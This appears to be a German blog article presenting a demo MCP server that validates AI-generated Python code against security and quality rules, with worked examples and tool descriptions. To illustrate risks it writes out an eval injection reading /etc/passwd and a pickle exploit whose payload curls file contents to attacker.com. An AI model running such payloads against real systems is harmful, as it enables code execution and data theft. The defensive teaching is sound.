Ein Python MCP Server um sie alle zu knechten validieren

Wer mit KI-Client Werkzeugen wie Claude Code, Gemini, Codex, Mistral o.ä. arbeitet, kann ein andauernd wiederkehrendes Muster beobachten:

Die freundlichen digitalen Heinzelmännchen schreiben viel Code, und sie schreiben ihn schnell, aber manchmal enthält das Ergebnis ...hust ... "problematische Muster" (= Code-Konstrukte wie eval() oder except:, die Sicherheitsrisiken oder Wartungsprobleme verursachen).

Der hier beschriebene Python Validator MCP Server (= ein Dienst, den KI-Assistenten aufrufen können) fängt diese ab, indem er jeden Python-Code gegen definierte Regeln prüft. Das passiert idealerweise bevor der Code überhaupt geschrieben wird, sodass solche Konstrukte gar nicht erst im Code landen.

Um was es hier geht:

Du erfährst, warum KI-generierter Code grundsätzlich eine Qualitätsprüfung durch ein Kritiker-System braucht, wie der Validator funktioniert und wie Du ihn in Deinen Workflow integrieren kannst. Der Text richtet sich an Menschen, die mit KI-Assistenten Python-Code schreiben, unabhängig vom technischen Hintergrund. Technische Details zur Architektur und Regeldefinition sind für Fortgeschrittene gedacht und entsprechend gekennzeichnet.

Was dieser Text nicht leistet: Er ersetzt keine Security-Audits, keine Code-Reviews und keine Tests. Er zeigt ein (Demo-)Werkzeug, das eine bestimmte Klasse von Problemen früh abfängt. :-)

Warum braucht KI-generierter Code eine Validierung?

KI-generierter Code funktioniert oft auf den ersten Blick. Im letzten KI-Gemeinschaft-Seminar erzählte ein Teilnehmer, wie er nach einer halben Stunde überrascht war, dass seine KI ihm die ganze Zeit Mock-Daten gezeigt hat ... er war von realen Daten ausgegangen ... :-D

In meiner Arbeit sehe ich regelmäßig Beispiele, bei denen der generierte Code zwar läuft, aber erhebliche Probleme mitbringt:

Das eigentliche Problem ist nicht, dass KI-Systeme diese Muster nicht kennen würden. Sie kennen sie durchaus. Das Problem ist vielmehr, dass sie den spezifischen Kontext nicht einschätzen können. In einem schnellen Prototyp mag eval() akzeptabel sein, aber nur, wenn die Eingaben vollständig vertrauenswürdig sind und die Ausführung isoliert ist. In einer Produktionsumgebung hingegen ist es ein Sicherheitsrisiko der Kategorie "kritisch".

Eine Lösung: Das Contract-Rules-System

Für Claude Code habe ich vor geraumer Zeit ein Contract-Rules-System entwickelt, das dieses Problem adressiert. Es definiert Verträge und Regeln, die jeder Code erfüllen muss, bevor er überhaupt geschrieben wird. Verstößt der Code gegen eine Regel, wird er blockiert, und Claude erhält eine detaillierte Fehlermeldung, damit das korrigiert werden kann. Gleichzeitig lernt das Gesamtsystem von jedem einzigen Fehler und präzisiert sich selbst in Richtung des jeweils definierten Standards bzw. Ziels.

Das "große" System basiert auf Claude Code Hooks (= Shell-Kommandos, die bei bestimmten Ereignissen automatisch ausgeführt werden). Ein solcher Hook prüft den Code, bevor er geschrieben wird, und funktioniert erfahrungsgemäß zuverlässig, da das ein programmatischer, deterministischer Ablauf ist. Allerdings hat dieser Ansatz einen entscheidenden Nachteil.

Das Problem: Nicht jede KI hat Hooks (warum eigentlich nicht?)

Claude Code hat ein integriertes Hook-System. Viele andere Assistenten (Mistral, Codex, Gemini) bieten aktuell kein vergleichbares, standardisiertes Hook-System, das automatisch vor dem Schreiben von Code in den Workflow eingreift. Was sie allerdings oft haben: MCP-Fähigkeit. Viele aktuelle Assistenten und Clients unterstützen MCP (= Model Context Protocol, ein standardisiertes Protokoll für die Kommunikation zwischen KI-Assistenten und externen Tools). Das ist bei mehreren großen Anbietern dokumentiert, aber nicht überall und nicht in jeder Produktvariante.

Die Idee lag nahe: Wenn Hooks nicht universell verfügbar sind, MCP-Server aber schon, dann baue ich eben einen kleinen, einfachen MCP-Server, der Python-Code validiert. Wenn die KI entsprechend instruiert ist (z.B. über System-Prompts oder CLAUDE.md), ruft sie vor dem Schreiben die Funktion validate_code auf, erhält Feedback zu etwaigen Regelverstößen und kann entsprechend korrigieren. Das Prinzip entspricht dem der Hooks (wird jedoch nicht programmatisch durchgesetzt), funktioniert aber plattformübergreifend.

Das Ergebnis ist der Python Validator MCP Server (ich hab den auch zusätzlich noch CLI Funktionalität mitgegeben): Regeln in mehreren Kategorien, vorkonfigurierte Profile und eine Befehlszeile (CLI) für die manuelle Nutzung. Die Regeln decken Sicherheitsmuster (Code-Injection, Command-Execution, unsichere Deserialisierung), Code-Qualität (angelehnt an PEP8 und Clean Code), Zuverlässigkeit und moderne Python-Syntax ab. Wenn Du noch nicht so viel mit MCP-Servern gemacht hast, findest Du hier einen Einstieg.

Drei Beispiele aus der Praxis

Die folgenden drei Szenarien sind ganz typische Situationen aus dem Alltag. Ich begegne ihnen regelmäßig bei Code-Reviews, bei eigenen Projekten und in der Arbeit mit KI-Assistenten. Sie zeigen, wie schnell problematischer Code entsteht, warum das passiert und wie der Validator solche Situationen abfängt, bevor sie zu echten Problemen werden.

Beispiel 1: Der flexible Konfigurations-Parser

Ein Data-Science-Team will seine Analyse-Pipelines konfigurierbar machen. Statt Schwellenwerte fest im Code zu definieren, sollen sie aus einer YAML-Datei kommen. Manche Werte sind einfache Zahlen, andere sind Formeln wie mean * 1.5 oder threshold + 10. Die KI wird gebeten, einen Parser zu schreiben, der solche Ausdrücke verarbeitet.

Die KI liefert folgenden Code:

def load_config(config_path):
    with open(config_path) as f:
        config = yaml.safe_load(f)

    # Dynamische Ausdrücke auswerten
    for key, value in config.items():
        if isinstance(value, str) and any(op in value for op in ['+', '-', '*', '/']):
            config[key] = eval(value)

    return config

Auf den ersten Blick funktioniert das einwandfrei. Eine Config-Datei mit threshold: 100 * 1.5 liefert 150.0 zurück. Der Code ist kurz, lesbar und tut genau das, was gefordert war.

Das Problem liegt in der Funktion eval() (= eine Python-Funktion, die beliebigen Text als Programmcode ausführt). Was passiert, wenn jemand folgende Zeile in die Config-Datei schreibt?

threshold: __import__('os').system('cat /etc/passwd')

Die Funktion eval() würde diesen Text als Python-Code interpretieren und ausführen, weil sie nicht zwischen einer harmlosen Formel und einem System-Befehl unterscheiden kann. Ein Angreifer mit Schreibzugriff auf die Config-Datei könnte so beliebige Befehle ausführen.

Der Validator markiert diesen Code als kritisch problematisch:

CRITICAL: eval() detected
Rule: SEC-001 (no_eval)
Line: 8
Message: eval() executes arbitrary code and is a critical security risk.
Fix: Use ast.literal_eval() for safe evaluation of literals, or implement
     a proper expression parser for mathematical expressions.

Die KI hat diesen Code nicht aus Unwissenheit geschrieben. Sie kennt die Risiken von eval() durchaus. Aber sie hat den Kontext nicht eingeschätzt: Wer Zugriff auf Config-Dateien hat, sollte nicht automatisch beliebigen Code ausführen können. Der Validator markiert eval() grundsätzlich als kritisch, sodass die KI korrigieren kann, bevor der Code geschrieben wird.

Beispiel 2: Die unsterbliche Schleife

Bei Code-Revisionen stolpere ich regelmäßig über diesen Klassiker: Ein Datenverarbeitungs-Skript soll Dateien aus einem Verzeichnis lesen und verarbeiten. Die KI wird gebeten, eine robuste Lösung zu schreiben, die auch bei fehlerhaften Dateien weiterläuft.

Das Ergebnis sieht dann oft so aus:

for filename in os.listdir(input_dir):
    try:
        process_file(filename)
    except:
        print(f"Error processing {filename}")
        continue

Der Code wirkt vernünftig: Wenn bei einer Datei ein Fehler auftritt, wird er geloggt, und die Schleife macht mit der nächsten Datei weiter. Genau das war gefordert.

Das Problem ist das nackte except: ohne spezifische Angabe, welche Fehlertypen abgefangen werden sollen. In Python gibt es verschiedene Arten von Ausnahmen (= Ereignisse, die den normalen Programmablauf unterbrechen). Manche zeigen echte Fehler an, andere sind Steuersignale. Wenn jemand Strg+C drückt, um ein Programm zu beenden, löst das eine KeyboardInterrupt-Ausnahme aus. Ein nacktes except: fängt auch diese ab.

In der Praxis bedeutet das: Das Skript läuft, etwas stimmt nicht, Strg+C wird gedrückt, und das Programm ignoriert den Abbruchversuch. Es läuft einfach weiter, weil der Tastendruck als Fehler behandelt und verschluckt wird. Das Skript wird unsterblich.

ERROR: Bare except clause detected
Rule: REL-002 (no_bare_except)
Line: 3
Message: Bare except catches SystemExit and KeyboardInterrupt,
         making the program impossible to terminate cleanly.
Fix: Use 'except Exception:' to catch only actual errors,
     or specify the exact exception types you expect.

Die korrekte Version fängt nur echte Fehler ab und lässt Steuersignale durch:

for filename in os.listdir(input_dir):
    try:
        process_file(filename)
    except Exception as e:
        print(f"Error processing {filename}: {e}")
        continue

Der Unterschied ist subtil, aber entscheidend: except Exception: fängt alle normalen Fehler ab, lässt aber KeyboardInterrupt und SystemExit durch, sodass das Programm kontrolliert beendet werden kann.

Beispiel 3: Die vergiftete Nachricht

In einem konkreten Fall sollte ein System gebaut werden, bei dem verschiedene Python-Prozesse miteinander kommunizieren. Prozess A schickt Daten an Prozess B, der sie verarbeitet. Die KI schlug vor, die Daten mit pickle zu serialisieren (= in ein Format umzuwandeln, das übertragen werden kann).

# Prozess A: Daten senden
import pickle
data = {'user': 'admin', 'action': 'update'}
message = pickle.dumps(data)
send_to_process_b(message)

# Prozess B: Daten empfangen
received = receive_from_process_a()
data = pickle.loads(received)
process_data(data)

Für die Kommunikation zwischen vertrauenswürdigen Prozessen auf demselben Server funktioniert das. Aber was, wenn die Nachricht von außen kommt? Was, wenn ein Angreifer eine manipulierte Nachricht einschleust?

Das Problem mit pickle ist, dass es nicht nur Daten speichert, sondern auch Anweisungen, wie diese Daten wiederhergestellt werden sollen. Ein Angreifer kann eine pickle-Nachricht konstruieren, die beim Laden beliebigen Code ausführt. Das nennt sich Deserialization-Angriff (= ein Angriff, bei dem manipulierte Datenstrukturen beim Einlesen Schadcode ausführen).

# So könnte ein Angreifer eine "vergiftete" pickle-Nachricht bauen
import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl attacker.com/steal?data=$(cat /etc/passwd)',))

malicious = pickle.dumps(Exploit())

Wenn Prozess B diese Nachricht mit pickle.loads() öffnet, wird der Schadcode ausgeführt, noch bevor die eigentlichen Daten verarbeitet werden.

CRITICAL: pickle.loads() with untrusted data
Rule: SEC-003 (no_pickle_loads)
Line: 9
Message: pickle.loads() can execute arbitrary code during deserialization.
         Never use pickle with data from untrusted sources.
Fix: Use JSON for data exchange, or implement signature verification
     if pickle is absolutely necessary.

Die sichere Alternative ist JSON, das nur Daten enthält und keinen ausführbaren Code:

import json

# Senden
data = {'user': 'admin', 'action': 'update'}
message = json.dumps(data)

# Empfangen
data = json.loads(received)  # Kann keinen Code ausführen

Was diese Beispiele zeigen

In allen drei Fällen hat die KI funktionierenden Code geliefert. Der Code war syntaktisch korrekt, erfüllte die gestellte Aufgabe und hätte in vielen Kontexten keine Probleme verursacht. Das macht diese Fehler so tückisch: Sie fallen beim Testen nicht auf, weil alles zu funktionieren scheint.

Ohne Validierung würde solcher Code möglicherweise übernommen. Bei einer späteren Sicherheitsprüfung fällt das Problem dann auf, oder schlimmer: bei einem echten Angriff. Die Nacharbeit, um solche Probleme später zu beheben, kostet ein Vielfaches der Zeit, die eine sofortige Korrektur erfordert, weil der Code dann bereits in Produktion ist, Tests angepasst werden müssen und möglicherweise Abhängigkeiten entstanden sind.

Der Validator verschiebt diese Prüfung an den Anfang des Prozesses. Die KI erhält sofort Feedback, kann den Code korrigieren, und das Ergebnis entspricht von Anfang an den definierten Standards. Das spart nicht nur Zeit und Nacharbeit, sondern auch die Tokens, die für mehrere Korrekturschleifen nötig wären.

Wie funktioniert der Validierungsprozess?

Was Dir das im Alltag bringt: Du verstehst, wann und wie der Validator eingreift, sodass Du nachvollziehen kannst, warum bestimmte Code-Konstrukte markiert werden und wie die Korrekturschleife funktioniert.

Der Prozess läuft in vier Stufen ab: Instruktion, Aufruf, Validierung und Feedback. Anders als bei Hook-basierten Systemen, die automatisch eingreifen, muss die KI hier aktiv den Validator aufrufen, weil MCP auf Kooperation statt auf Zwang setzt. Das folgende Diagramm zeigt den vollständigen Ablauf:

mcp-validator --process-flow

┌─────────────────────────────────────────────────────────────────┐
│              MCP VALIDIERUNGSPROZESS                            │
└─────────────────────────────────────────────────────────────────┘

                         ┌─────────────┐
                         │    User     │
                         │   Prompt   │
                         └──────┬──────┘
                                │
                    "Schreibe eine Flask-API..."
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────┐
│           STUFE 1: INSTRUKTION                                 │
│           System-Prompt / CLAUDE.md / Projekt-Config           │
│                                                               │
│  Die KI wird instruiert:                                     │
│  "Bevor du Python-Code schreibst, rufe validate_code auf."   │
│                                                               │
│  Diese Instruktion kann enthalten:                           │
│  • Welches Profil verwendet werden soll                      │
│  • Welche Kategorien besonders wichtig sind                  │
│  • Projektspezifische Ausnahmen                              │
└───────────────────────────────┬─────────────────────────────────┘
                                │
                    KI generiert Python-Code...
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────┐
│           STUFE 2: MCP AUFRUF                                  │
│           KI ruft validate_code() auf                          │
│                                                               │
│  validate_code(                                              │
│      code="@app.route('/api')..."                            │
│      profile="recommended"                                    │
│  )                                                             │
│                                                               │
│  Der Code wird an den MCP-Server gesendet,                   │
│  BEVOR er in eine Datei geschrieben wird.                    │
└───────────────────────────────┬─────────────────────────────────┘
                                │
                                ▼
┌─────────────────────────────────────────────────────────────────┐
│           STUFE 3: VALIDIERUNG                                 │
│           AST-Parser + Pattern-Matching                        │
│                                                               │
│  Der Server prüft:                                           │
│  • Syntax via AST-Parser                                     │
│  • Forbidden Patterns (eval, exec, pickle.loads, ...)        │
│  • Required Patterns (type hints, docstrings, ...)           │
│  • Code-Qualität (Komplexität, Verschachtelung, ...)         │
│                                                               │
│  CRITICAL ERROR WARNING INFO                      │
└───────────────────────────────┬─────────────────────────────────┘
                                │
                ┌───────────────┴───────────────┐
                │                               │
                ▼                               ▼
          VIOLATIONS                       VALID
          Regelverstöße                    Code ist
          gefunden                         sauber
                │                               │
                ▼                               ▼
┌─────────────────────────────┐ ┌─────────────────────────────┐
│ FEEDBACK AN KI              │ │ CODE WIRD GESCHRIEBEN       │
│                             │ │                             │
│ • Betroffene Zeile         │ │ KI schreibt den             │
│ • Regel-ID + Severity      │ │ validierten Code            │
│ • Beschreibung             │ │ in die Datei.               │
│ • Fix-Vorschlag            │ │                             │
│                             │ │                             │
│ KI korrigiert und          │ │                             │
│ ruft erneut validate_code  │ │                             │
└─────────────────────────────┘ └─────────────────────────────┘

Was passiert bei einem kritischen Verstoß?

Nehmen wir an, die KI generiert Python-Code mit einem eval(user_input). Der Validator erkennt das Muster und liefert folgendes Ergebnis zurück:

validate_code() → response

{
  "valid": false,
  "violations": [
    {
      "rule": "SEC-001",
      "severity": "critical",
      "line": 4,
      "message": "eval() executes arbitrary code and is a critical security risk.",
      "fix": "Use ast.literal_eval() for safe evaluation of literals, or implement a proper expression parser."
    }
  ],
  "stats": {
    "lines_checked": 12,
    "rules_applied": 17,
    "time_ms": 8
  }
}

Die KI erhält diese strukturierte Antwort, versteht das Problem und den Lösungsvorschlag, korrigiert den Code und ruft validate_code() erneut auf. Dieser Zyklus wiederholt sich, bis der Code alle Regeln erfüllt. Bei kritischen Verstößen hängt die Durchsetzung davon ab, wie streng die Instruktion formuliert ist: Der Validator kann nur empfehlen, nicht erzwingen.

Der Unterschied zu Hook-basierten Systemen

Bei Claude Code Hooks wird der Code automatisch geprüft, bevor er geschrieben wird. Das funktioniert wie ein Türsteher: Der Code kommt gar nicht erst durch, wenn er gegen Regeln verstößt.

Der MCP-Ansatz funktioniert anders: Er setzt auf Kooperation statt auf Zwang. Die KI muss instruiert werden, den Validator zu nutzen. Das hat Vor- und Nachteile:

In der Praxis befolgen viele KI-Systeme solche Instruktionen oft genug, dass der Ansatz gut funktioniert. Du solltest ihn trotzdem so bauen, dass Abweichungen auffallen: klare Prozessregeln, sichtbare Validator-Antworten im Verlauf und ein kurzer manueller Check bei kritischen Änderungen.

Wenn Du nur eine Sache mitnimmst

Der Validator prüft Code, bevor er geschrieben wird. Die KI erhält sofort Feedback und kann korrigieren. Das spart Nacharbeit und verhindert, dass problematische Muster ins Repository gelangen.

Lass ma' gucken:

Erstmal die Hintergründe und Grundlagen:

Jetzt die MCP Tools

Regeln und Profile

Praxis

Download

Clean Architecture: Domain, Infrastructure, Services

Dieser Abschnitt richtet sich an Entwicklerinnen und Entwickler, die den Quellcode verstehen oder erweitern wollen. Wenn Du den Validator nur nutzen möchtest, kannst Du diesen Abschnitt überspringen.

Was Dir das im Alltag bringt: Du verstehst, wo Du eigene Regeln hinzufügst, wo Du bei Problemen nach der Ursache suchst und warum Änderungen an einer Stelle nicht das gesamte System beeinflussen.

Der Python Validator MCP Server folgt den Prinzipien der sauberen Schichtentrennung (Clean Architecture = ein Architekturmuster, das Geschäftslogik von technischen Details trennt). Das klingt zunächst nach akademischem Overhead für ein Validierungs-Tool, aber in meiner Erfahrung zahlt sich diese Struktur aus, weil die Trennung in Geschäftslogik (Domain), technische Umsetzung (Infrastructure) und Schnittstellen (Services) das System erweiterbar, testbar und wartbar macht.

Die drei Schichten

Schauen wir uns die drei Schichten an, damit Du verstehst, warum ich mich für diese Struktur entschieden habe:

python-validator/
├── src/
│   ├── domain/           # Geschäftslogik, Entitäten
│   │   ├── entities/     # Rule, Violation, ValidationResult
│   │   └── services/     # ValidationService, RuleEngine
│   │
│   ├── infrastructure/   # Technische Implementierungen
│   │   ├── logging/      # WatchedRotatingFileHandler
│   │   ├── persistence/  # SupervisionRepository
│   │   └── validation/   # ASTValidator, PatternMatcher
│   │
│   └── services/         # MCP Tools, CLI Interface
│       ├── mcp_tools.py  # Die MCP-Funktionen
│       └── cli.py        # Kommandozeilen-Interface
│
├── config/
│   ├── rules/            # YAML-Regeldefinitionen
│   └── profiles/         # Vorkonfigurierte Profile
│
└── tests/                # Unit- und Integrationstests

Domain Layer: Die Geschäftslogik

Im Domain Layer (= die innerste Schicht) liegt das, was den Validator eigentlich ausmacht: die Regeln und ihre Anwendung. Hier definiere ich, was eine Regel ist, was eine Verletzung ist und wie Validierungsergebnisse aussehen. Der Domain Layer ist bewusst frei von technischen Abhängigkeiten, damit er isoliert testbar bleibt.

@dataclass
class Rule:
    """Eine Validierungsregel."""
    id: str
    name: str
    category: str
    severity: str  # critical, error, warning, info
    pattern: str   # Regex oder AST-Pattern
    message: str
    fix_suggestion: str

@dataclass
class Violation:
    """Ein Regelverstoß."""
    rule: Rule
    line: int
    column: int
    code_snippet: str
    context: dict

Der Domain Layer kennt keine technischen Details. Er weiß nicht, wie Regeln geladen werden, wie Logging funktioniert oder wie MCP kommuniziert. Er definiert ausschließlich die Konzepte und ihre Beziehungen, sodass ich die Geschäftslogik unabhängig von der Infrastruktur weiterentwickeln kann.

Infrastructure Layer: Die technische Umsetzung

Der Infrastructure Layer (= die äußere Schicht für technische Details) implementiert alles, was mit der Außenwelt zu tun hat: Dateioperationen, Logging, Persistenz. Hier liegt auch der AST-Validator, der Python-Code parsed und gegen Regeln prüft. Ich habe diese Schicht bewusst austauschbar gestaltet.

class ASTValidator:
    """Validiert Python-Code via Abstract Syntax Tree."""

    def validate(self, code: str, rules: list[Rule]) -> list[Violation]:
        tree = ast.parse(code)
        violations = []

        for node in ast.walk(tree):
            for rule in rules:
                if self._matches_pattern(node, rule):
                    violations.append(self._create_violation(node, rule))

        return violations

Der Infrastructure Layer kann ausgetauscht werden, ohne die Geschäftslogik zu berühren. Will ich statt JSON-Dateien eine Datenbank für Regeln nutzen? Dann schreibe ich einen neuen Adapter im Infrastructure Layer, während der Domain Layer unverändert bleibt. Das spart langfristig Zeit, weil Änderungen lokal bleiben.

Services Layer: Die Schnittstellen

Der Services Layer verbindet Domain und Infrastructure mit der Außenwelt. Hier liegen die MCP-Tools und das CLI-Interface, also alles, womit Du als Nutzer interagierst.

@mcp.tool()
async def validate_code(code: str, profile: str = "recommended") -> dict:
    """Validiert Python-Code gegen das angegebene Profil."""

    # Domain Service aufrufen
    result = validation_service.validate(
        code=code,
        rules=rule_repository.get_by_profile(profile)
    )

    # Ergebnis für MCP formatieren
    return {
        "valid": result.is_valid,
        "violations": [v.to_dict() for v in result.violations],
        "stats": result.stats
    }

Warum diese Trennung wichtig ist

Aus meiner Erfahrung hat die Clean Architecture mehrere konkrete Vorteile, die sich im Alltag bemerkbar machen:

Dependency Rule

Abhängigkeiten zeigen immer nach innen: Services → Domain ← Infrastructure. Der Domain Layer hat keine Abhängigkeiten zu den anderen Schichten, damit er stabil und wiederverwendbar bleibt. (Das Prinzip ist der Kern der Clean Architecture).

validate_code: Die Kernfunktion

validate_code ist die zentrale Funktion des Validators. Sie nimmt einen Python-Code-String entgegen, prüft ihn gegen die definierten Regeln und liefert ein strukturiertes Ergebnis zurück. Das klingt simpel, aber genau diese Einfachheit macht die Funktion so nützlich, weil sie sich nahtlos in jeden Workflow einfügt.

Was macht diese Funktion?

Die Funktion erwartet Python-Code als Text (= einen String, keine Datei) und prüft diesen gegen ein Regelset. Das Ergebnis ist ein strukturiertes Objekt, das angibt, ob der Code valide ist, und falls nicht, welche Regeln verletzt wurden.

# Aufruf
result = validate_code(
    code="def calculate(x): return eval(x)",
    profile="recommended"
)

# Ergebnis
{
    "valid": false,
    "violations": [
        {
            "rule": "SEC-001",
            "name": "no_eval",
            "severity": "critical",
            "line": 1,
            "column": 27,
            "message": "eval() executes arbitrary code...",
            "fix_suggestion": "Use ast.literal_eval() or..."
        }
    ],
    "stats": {
        "lines": 1,
        "rules_checked": 17,
        "time_ms": 5
    }
}

Warum ein String und keine Datei?

Diese Designentscheidung hat einen praktischen Grund: Die KI generiert Code, bevor sie ihn in eine Datei schreibt. In diesem Moment existiert der Code nur als Text im Speicher. Die Funktion validate_code prüft genau diesen Text, sodass problematischer Code gar nicht erst auf der Festplatte landet.

Das unterscheidet den Validator von klassischen Linting-Tools wie pylint oder flake8, die auf existierenden Dateien arbeiten. Dort ist der Code bereits geschrieben, und das Tool findet Probleme nachträglich. Hier wird der Code geprüft, bevor er geschrieben wird, was einen fundamentalen Unterschied im Workflow darstellt.

Die Parameter im Detail

Was die Funktion nicht kann (weil's halt nur eine Demo- und Lernversion ist)

Der Validator ist bewusst auf Einzeldatei-Analyse beschränkt. Er prüft keinen Import-Graphen (= welche Module sich gegenseitig importieren), keine projektweiten Abhängigkeiten und keine Runtime-Eigenschaften. Das ist eine bewusste Einschränkung, weil der Validator als leichtgewichtiges Demo-System konzipiert ist, das schnell und ohne komplexe Konfiguration funktionieren soll.

Für tiefgreifende Analysen wie Typ-Inferenz über Modulgrenzen hinweg, Dead-Code-Erkennung im Projektkontext oder komplexe Datenflussanalysen gibt es spezialisierte Tools wie mypy, vulture oder bandit, die genau dafür gebaut sind.

Wann verwende ich validate_code?

Immer dann, wenn Code geprüft werden soll, bevor er geschrieben wird. Die KI ruft diese Funktion auf, nachdem sie Code generiert hat und bevor sie ihn in eine Datei schreibt. Das ist der typische Anwendungsfall im MCP-Workflow.

validate_file: Existierende Dateien prüfen

Während validate_code für neuen Code gedacht ist, prüft validate_file bereits existierende Python-Dateien. Das ist nützlich, wenn bestehender Code gegen die Regeln geprüft werden soll, etwa bei Code-Reviews oder wenn ein Projekt nachträglich auf den Validator umgestellt wird.

Was macht diese Funktion?

Die Funktion nimmt einen Dateipfad entgegen, liest die Datei und prüft ihren Inhalt gegen die Regeln. Das Ergebnis enthält zusätzlich den Dateinamen, sodass bei mehreren Prüfungen klar ist, welches Ergebnis zu welcher Datei gehört.

# Aufruf
result = validate_file(
    file_path="/project/src/api.py",
    profile="strict"
)

# Ergebnis
{
    "file": "/project/src/api.py",
    "valid": true,
    "violations": [],
    "stats": {
        "lines": 234,
        "rules_checked": 63,
        "time_ms": 42
    }
}

Der Unterschied zu validate_code

Technisch liest validate_file die Datei und ruft intern validate_code auf. Der Mehrwert liegt in der Bequemlichkeit: Die KI muss den Dateiinhalt nicht selbst lesen und übergeben, sondern gibt einfach den Pfad an. Das spart Tokens und reduziert die Fehleranfälligkeit.

Einschränkungen

Die Funktion prüft genau eine Datei. Sie iteriert nicht über Verzeichnisse und folgt keinen Imports. Wer ein ganzes Projekt prüfen möchte, muss die Dateien einzeln durchgehen. Das ist eine bewusste Entscheidung, weil der Validator als Demo-System konzipiert ist und keine komplexe Projektverwaltung mitbringt.

Wann verwende ich validate_file?

Bei Code-Reviews, wenn bestehende Dateien geprüft werden sollen. Oder wenn die KI eine Datei liest, analysieren soll und dabei die Regelkonformität prüfen will, ohne den Code in den Kontext zu laden.

validate_with_profile: Gezielte Prüfung

Diese Funktion ist eine Convenience-Variante von validate_code, die das Profil explizit in den Vordergrund stellt. Sie macht deutlich, dass hier bewusst ein bestimmtes Regelset gewählt wird, was die Lesbarkeit im Code verbessert.

Was macht diese Funktion?

Funktional identisch mit validate_code, aber mit umgekehrter Parameter-Reihenfolge: Zuerst das Profil, dann der Code. Das mag wie ein kleines Detail wirken, aber in der Praxis macht es die Absicht klarer.

# Statt
validate_code(code=my_code, profile="security-only")

# Kann man schreiben
validate_with_profile(profile="security-only", code=my_code)

Wann ist das sinnvoll?

Wenn das Profil die zentrale Information ist. Etwa wenn die KI instruiert wurde, bestimmten Code nur gegen Sicherheitsregeln zu prüfen, oder wenn verschiedene Code-Teile mit unterschiedlichen Profilen validiert werden sollen. Die Funktion macht die Profilwahl zum primären Aspekt des Aufrufs.

Praktischer Hinweis

Für die meisten Anwendungsfälle reicht validate_code mit dem Standard-Profil völlig aus. Die Funktion validate_with_profile existiert für Situationen, in denen die Profilwahl bewusst und explizit erfolgen soll.

list_rules: Regeln erkunden

Bevor man Code validiert, möchte man vielleicht wissen, gegen welche Regeln eigentlich geprüft wird. Die Funktion list_rules liefert eine Übersicht aller verfügbaren Regeln, optional gefiltert nach Kategorie oder Severity.

Was macht diese Funktion?

Sie gibt eine Liste aller Regeln zurück, die der Validator kennt. Jede Regel enthält ihre ID, den Namen, die Kategorie, den Schweregrad und eine Beschreibung. Das ist nützlich, um zu verstehen, was der Validator eigentlich prüft.

# Alle Regeln abrufen
rules = list_rules()

# Nur Security-Regeln
security_rules = list_rules(category="security")

# Nur kritische Regeln
critical_rules = list_rules(severity="critical")

# Beispiel-Ausgabe (gekürzt)
[
    {
        "id": "SEC-001",
        "name": "no_eval",
        "category": "security",
        "severity": "critical",
        "description": "Verbietet eval() wegen Remote Code Execution",
        "pattern": "eval\\s*\\(",
        "fix_suggestion": "Use ast.literal_eval() or..."
    },
    ...
]

Die Filter-Optionen

Wozu brauche ich das?

Transparenz. Wer wissen will, warum sein Code abgelehnt wurde, kann die entsprechende Regel nachschlagen. Wer ein eigenes Profil erstellen will, sieht hier alle verfügbaren Regeln. Und wer dem Validator nicht blind vertraut, kann prüfen, welche Muster genau gesucht werden.

Für Neugierige

Die Funktion ist auch ein Lernwerkzeug. Wer die Regeln durchgeht, lernt dabei, welche Muster in Python als problematisch gelten und warum. Jede Regel enthält eine Erklärung und einen Fix-Vorschlag.

list_profiles: Profile verstehen

Profile sind vorkonfigurierte Regelsets, die für bestimmte Anwendungsfälle zusammengestellt wurden. Die Funktion list_profiles zeigt alle verfügbaren Profile und erklärt, wofür sie gedacht sind.

Was macht diese Funktion?

Sie gibt eine Liste aller Profile zurück, jeweils mit Namen, Beschreibung und der Anzahl der enthaltenen Regeln. Das hilft bei der Entscheidung, welches Profil für den eigenen Anwendungsfall passt.

# Alle Profile abrufen
profiles = list_profiles()

# Beispiel-Ausgabe
[
    {
        "name": "minimal",
        "description": "Nur die kritischsten Sicherheitsregeln",
        "rules_count": 5,
        "categories": ["security"]
    },
    {
        "name": "recommended",
        "description": "Ausgewogener Mix für die meisten Projekte",
        "rules_count": 17,
        "categories": ["security", "reliability", "best_practices"]
    },
    {
        "name": "strict",
        "description": "Alle Regeln, maximale Strenge",
        "rules_count": 63,
        "categories": ["security", "reliability", "code_style",
                       "best_practices", "maintainability",
                       "modern_python", "typing"]
    },
    ...
]

Welches Profil für welchen Zweck?

Die Wahl des Profils hängt vom Kontext ab. Für schnelle Prototypen reicht minimal, das nur die kritischsten Sicherheitsprobleme abfängt. Für Produktionscode empfehle ich recommended, das einen guten Kompromiss zwischen Strenge und Praktikabilität bietet. Wer maximale Codequalität will, wählt strict, muss dann aber mit mehr Feedback rechnen.

Profile als Ausgangspunkt

Die mitgelieferten Profile sind Vorschläge, keine Vorschriften. Sie können als Basis dienen und an die eigenen Bedürfnisse angepasst werden. Dazu mehr im Kapitel „Eigene Regeln erstellen".

Supervision: Validierungshistorie

Der Validator speichert auf Wunsch alle Validierungen in einer Historie. Das nennt sich Supervision (= Überwachung) und dient dazu, nachvollziehen zu können, welcher Code wann geprüft wurde und welche Ergebnisse dabei herauskamen.

get_supervision: Einzelne Validierung abrufen

Jede Validierung erhält eine eindeutige ID. Mit get_supervision kann man die Details einer bestimmten Validierung abrufen, etwa um nachzuvollziehen, warum Code zu einem bestimmten Zeitpunkt abgelehnt wurde.

# Details einer Validierung abrufen
details = get_supervision(id="val_2024_001")

# Beispiel-Ausgabe
{
    "id": "val_2024_001",
    "timestamp": "2024-01-15T14:32:17Z",
    "code_hash": "a3f2b1c...",
    "profile": "recommended",
    "valid": false,
    "violations": [...],
    "duration_ms": 8
}

list_supervisions: Historie durchsuchen

Die Funktion list_supervisions zeigt alle gespeicherten Validierungen, optional gefiltert nach Zeitraum, Ergebnis oder Profil. Das ist nützlich, um Muster zu erkennen, etwa welche Regeln häufig verletzt werden.

# Letzte Validierungen abrufen
history = list_supervisions(limit=10)

# Nur fehlgeschlagene Validierungen
failed = list_supervisions(valid=false)

# Validierungen der letzten Stunde
recent = list_supervisions(since="1h")

Wozu Supervision?

In einem Produktionsumfeld hilft die Historie bei der Qualitätssicherung. Wenn immer wieder dieselben Regeln verletzt werden, deutet das auf ein systematisches Problem hin, das durch Schulung oder Anpassung der Instruktionen behoben werden kann. Die Supervision macht diese Muster sichtbar.

Datenschutz-Hinweis

